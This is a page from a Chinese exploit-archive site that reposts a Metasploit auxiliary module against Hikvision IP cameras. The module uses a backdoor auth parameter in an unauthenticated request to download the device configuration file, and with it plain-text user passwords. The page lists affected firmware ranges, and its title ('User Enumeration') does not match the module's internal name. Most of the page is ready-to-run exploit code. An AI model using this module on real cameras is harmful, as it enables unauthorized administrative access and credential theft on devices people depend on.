首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Hikvision IP Camera 5.4.0 - User Enumeration (Metasploit)
来源:metasploit.com 作者:Alfie 发布时间:2018-08-27  
# Exploit title: Hikvision IP Camera 5.4.0 - User Enumeration (Metasploit)
# Author: Alfie
# Date: 2018-08-21
# Website: https://www.hikvision.com/en/
# Software: Hikvision Camera
# Versions:
# DS-2CD2xx2F-I Series: V5.2.0 build 140721 to V5.4.0 build 160530
# DS-2CD2xx0F-I Series: V5.2.0 build 140721 to V5.4.0 Build 160401
# DS-2CD2xx2FWD Series: V5.3.1 build 150410 to V5.4.4 Build 161125
# DS-2CD4x2xFWD Series: V5.2.0 build 140721 to V5.4.0 Build 160414
# DS-2CD4xx5 Series: V5.2.0 build 140721 to V5.4.0 Build 160421
# DS-2DFx Series: V5.2.0 build 140805 to V5.4.5 Build 160928
# DS-2CD63xx Series: V5.0.9 build 140305 to V5.3.5 Build 160106
 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Configuration download in Hikvision IP Cameras',
      'Description'    => %q{
          Many Hikvision IP cameras contain a backdoor that allows unauthenticated impersonation of any configured user account. The vulnerability has been present in Hikvision products since at least 2014. In addition to Hikvision-branded devices, it affects many white-labeled camera products sold under a variety of brand names. Hundreds of thousands of vulnerable devices are still exposed to the Internet at the time of publishing. In addition to gaining full administrative access, the vulnerability can be used to retrieve plain-text passwords for all configured users.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Monte Crypto', # Vulnerability discovery
          'Alfie Njeru' # Metasploit module
        ],
      'References'     =>
        [
          [ 'URL', 'https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html' ],
        
          [ 'URL', 'http://seclists.org/fulldisclosure/2017/Sep/23' ]
        ]
    ))
 
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'Path to the path that config is stored ', '/System/configurationFile?auth=YWRtaW46MTEK'])
      ])
  end
 
  def run_host(ip)
 
    print_status("#{rhost}:#{rport} - Sending request...")
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi({
      'uri'          => uri,
      'method'       => 'GET',
    })
 
    if res and res.code == 200
      contents = res.body
      fname = File.basename(datastore['TARGETURI'])
      path = store_loot(
        'usersvision ',
        'text/plain',
        ip,
        contents,
        fname
      )
      print_status("#{rhost}:#{rport} - File saved in: #{path}")
    else
      print_error("#{rhost}:#{rport} - Failed to retrieve file")
      return
    end
  end
end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·Project64 2.3.2 - Denial Of Se
·OpenSSH 7.7 - Username Enumera
·Easylogin Pro 1.3.0 - 'Encrypt
·Prime95 29.4b7 - Denial Of Ser
·Restorator 1793 - Denial of Se
·Zortam MP3 Media Studio 23.95
·SEIG Modbus 3.4 - Remote Code
·SEIG Modbus 3.4 - Denial of Se
·SEIG SCADA System 9 - Remote C
·Microsoft Edge Chakra JIT - In
·Microsoft Edge Chakra JIT - 'I
·Microsoft Edge Chakra JIT - 'D
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved